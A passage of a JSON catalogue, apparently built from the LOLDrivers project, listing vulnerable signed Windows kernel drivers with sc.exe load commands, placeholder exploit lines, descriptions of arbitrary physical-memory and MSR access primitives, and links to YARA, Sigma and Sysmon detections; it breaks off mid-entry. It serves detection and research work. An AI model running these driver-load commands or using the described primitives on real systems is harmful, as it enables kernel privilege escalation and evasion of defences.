    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrDrv106.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrDrv106.sys type=kernel && sc.exe start AsrDrv106.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrDrv106.sys\"\n\n# AsrDrv106.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrdrv106.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrDrv106.sys binPath=C:\\windows\\temp\\AsrDrv106.sys type=kernel && sc.exe start AsrDrv106.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrdrv106",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrDrv106.sys kernel driver",
        "commands": [
          "sc.exe create AsrDrv106.sys binPath=C:\\windows\\temp\\AsrDrv106.sys type=kernel && sc.exe start AsrDrv106.sys"
        ]
      }
    ],
    "name": "AsrDrv106.sys",
    "namespace": "windows:kernel:asrdrv106",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrIbDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrIbDrv.sys type=kernel && sc.exe start AsrIbDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrIbDrv.sys\"\n\n# AsrIbDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asribdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrIbDrv.sys binPath=C:\\windows\\temp\\AsrIbDrv.sys type=kernel && sc.exe start AsrIbDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asribdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrIbDrv.sys kernel driver",
        "commands": [
          "sc.exe create AsrIbDrv.sys binPath=C:\\windows\\temp\\AsrIbDrv.sys type=kernel && sc.exe start AsrIbDrv.sys"
        ]
      }
    ],
    "name": "AsrIbDrv.sys",
    "namespace": "windows:kernel:asribdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrOmgDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrOmgDrv.sys type=kernel && sc.exe start AsrOmgDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrOmgDrv.sys\"\n\n# AsrOmgDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asromgdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrOmgDrv.sys binPath=C:\\windows\\temp\\AsrOmgDrv.sys type=kernel && sc.exe start AsrOmgDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asromgdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrOmgDrv.sys kernel driver",
        "commands": [
          "sc.exe create AsrOmgDrv.sys binPath=C:\\windows\\temp\\AsrOmgDrv.sys type=kernel && sc.exe start AsrOmgDrv.sys"
        ]
      }
    ],
    "name": "AsrOmgDrv.sys",
    "namespace": "windows:kernel:asromgdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrRapidStartDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrRapidStartDrv.sys     type=kernel && sc.exe start AsrRapidStartDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrRapidStartDrv.sys\"\n\n# AsrRapidStartDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrrapidstartdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrRapidStartDrv.sys binPath=C:\\windows\\temp\\AsrRapidStartDrv.sys     type=kernel && sc.exe start AsrRapidStartDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "requires-root"
    ],
    "id": "windows-kernel-asrrapidstartdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrRapidStartDrv.sys kernel driver",
        "commands": [
          "sc.exe create AsrRapidStartDrv.sys binPath=C:\\windows\\temp\\AsrRapidStartDrv.sys     type=kernel && sc.exe start AsrRapidStartDrv.sys"
        ]
      }
    ],
    "name": "AsrRapidStartDrv.sys",
    "namespace": "windows:kernel:asrrapidstartdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrSetupDrv103.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrSetupDrv103.sys type=kernel && sc.exe start AsrSetupDrv103.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrSetupDrv103.sys\"\n\n# AsrSetupDrv103.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrsetupdrv103.md",
    "author": "Michael Haag, Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrSetupDrv103.sys binPath=C:\\windows\\temp\\AsrSetupDrv103.sys type=kernel && sc.exe start AsrSetupDrv103.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asrsetupdrv103",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrSetupDrv103.sys kernel driver",
        "commands": [
          "sc.exe create AsrSetupDrv103.sys binPath=C:\\windows\\temp\\AsrSetupDrv103.sys type=kernel && sc.exe start AsrSetupDrv103.sys"
        ]
      }
    ],
    "name": "AsrSetupDrv103.sys",
    "namespace": "windows:kernel:asrsetupdrv103",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsrSmartConnectDrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsrSmartConnectDrv.sys     type=kernel && sc.exe start AsrSmartConnectDrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsrSmartConnectDrv.sys\"\n\n# AsrSmartConnectDrv.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asrsmartconnectdrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create AsrSmartConnectDrv.sys binPath=C:\\windows\\temp\\AsrSmartConnectDrv.sys     type=kernel && sc.exe start AsrSmartConnectDrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "network-intensive",
      "remote",
      "requires-root"
    ],
    "id": "windows-kernel-asrsmartconnectdrv",
    "install": [
      {
        "method": "custom",
        "description": "Load AsrSmartConnectDrv.sys kernel driver",
        "commands": [
          "sc.exe create AsrSmartConnectDrv.sys binPath=C:\\windows\\temp\\AsrSmartConnectDrv.sys     type=kernel && sc.exe start AsrSmartConnectDrv.sys"
        ]
      }
    ],
    "name": "AsrSmartConnectDrv.sys",
    "namespace": "windows:kernel:asrsmartconnectdrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Astra64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Astra64.sys type=kernel && sc.exe start Astra64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Astra64.sys\"\n\n# Astra64.sys\n\nASTRA64.sys is the kernel driver for the ASTRA32 system information tool by Sysinfo Lab (EnTech Taiwan). The driver exposes 31 IOCTLs with zero validation on all parameters including arbitrary physical memory read/write via ZwOpenSection and ZwMapViewOfSection on Device\\PhysicalMemory with PAGE_READWRITE, arbitrary port I/O via HalTranslateBusAddress, arbitrary MSR read via rdmsr (enables KASLR bypass via IA32_LSTAR), PCI configuration space read via HalGetBusDataByOffset, and MMIO physical memory mapping via MmMapIoSpace. No authentication gate, no DACL restrictions (plain IoCreateDevice). Loads on any x64 Windows system. EnTech Taiwan also produces TVicPort and softEngine drivers which share similar low-level hardware access patterns. Listed in Eclypsium Screwed-Drivers research.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-astra64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "ASTRA64.sys is the kernel driver for the ASTRA32 system information tool by Sysinfo Lab (EnTech Taiwan). The driver exposes 31 IOCTLs with zero validation on all parameters including arbitrary physical memory read/write via ZwOpenSection and ZwMapViewOfSection on Device\\PhysicalMemory with PAGE_READWRITE, arbitrary port I/O via HalTranslateBusAddress, arbitrary MSR read via rdmsr (enables KASLR bypass via IA32_LSTAR), PCI configuration space read via HalGetBusDataByOffset, and MMIO physical m...",
    "execution": {
      "template": "sc.exe create Astra64 binPath=C:\\windows\\temp\\Astra64.sys type=kernel && sc.exe start Astra64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-astra64",
    "install": [
      {
        "method": "custom",
        "description": "Load Astra64.sys kernel driver",
        "commands": [
          "sc.exe create Astra64 binPath=C:\\windows\\temp\\Astra64.sys type=kernel && sc.exe start Astra64"
        ]
      }
    ],
    "name": "Astra64.sys",
    "namespace": "windows:kernel:astra64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/294"
      },
      {
        "label": "Reference",
        "url": "https://eclypsium.com/research/screwed-drivers-signed-sealed-delivered/"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create AsUpIO.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\AsUpIO.sys type=kernel && sc.exe start AsUpIO.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver AsUpIO.sys\"\n\n# AsUpIO.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-asupio.md",
    "author": "Michael Haag, Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create AsUpIO.sys binPath=C:\\windows\\temp\\AsUpIO.sys type=kernel && sc.exe start AsUpIO.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-asupio",
    "install": [
      {
        "method": "custom",
        "description": "Load AsUpIO.sys kernel driver",
        "commands": [
          "sc.exe create AsUpIO.sys binPath=C:\\windows\\temp\\AsUpIO.sys type=kernel && sc.exe start AsUpIO.sys"
        ]
      }
    ],
    "name": "AsUpIO.sys",
    "namespace": "windows:kernel:asupio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.m"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create aswArPot.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\aswArPot.sys type=kernel && sc.exe start aswArPot.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver aswArPot.sys\"\n\n# aswArPot.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n\n**Variants:** 2 known variants\n",
    "_source": "windows-kernel-aswarpot.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create aswArPot.sys binPath=C:\\windows\\temp\\aswArPot.sys type=kernel && sc.exe start aswArPot.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-aswarpot",
    "install": [
      {
        "method": "custom",
        "description": "Load aswArPot.sys kernel driver",
        "commands": [
          "sc.exe create aswArPot.sys binPath=C:\\windows\\temp\\aswArPot.sys type=kernel && sc.exe start aswArPot.sys"
        ]
      }
    ],
    "name": "aswArPot.sys",
    "namespace": "windows:kernel:aswarpot",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create aswVmm.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\aswVmm.sys type=kernel && sc.exe start aswVmm.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver aswVmm.sys\"\n\n# aswVmm.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-aswvmm.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/36505921af5a09175395ebaea29c72b2a69a3a9204384a767a5be8a721f31b10.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create aswVmm.sys binPath=C:\\windows\\temp\\aswVmm.sys type=kernel && sc.exe start aswVmm.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-aswvmm",
    "install": [
      {
        "method": "custom",
        "description": "Load aswVmm.sys kernel driver",
        "commands": [
          "sc.exe create aswVmm.sys binPath=C:\\windows\\temp\\aswVmm.sys type=kernel && sc.exe start aswVmm.sys"
        ]
      }
    ],
    "name": "aswVmm.sys",
    "namespace": "windows:kernel:aswvmm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/tanduRE/AvastHV"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ATHpExNt binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ATHpExNt.sys type=kernel && sc.exe start ATHpExNt\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver athpexnt.sys\"\n\n# athpexnt.sys\n\nAhnLab kernel driver exposing arbitrary physical memory read/write via IOCTL 0x81000000. Device accessible at \\\\.\\ATHpEx. Signed by AhnLab Inc. with VeriSign certificate (first seen 2014). Zero detections (0/73) on VirusTotal but exploitable for privilege escalation by mapping attacker-controlled physical memory into kernel address space.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-athpexnt.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "AhnLab kernel driver exposing arbitrary physical memory read/write via IOCTL 0x81000000. Device accessible at \\\\.\\ATHpEx. Signed by AhnLab Inc. with VeriSign certificate (first seen 2014). Zero detections (0/73) on VirusTotal but exploitable for privilege escalation by mapping attacker-controlled physical memory into kernel address space.",
    "execution": {
      "template": "sc.exe create ATHpExNt binPath=C:\\windows\\temp\\ATHpExNt.sys type=kernel && sc.exe start ATHpExNt",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
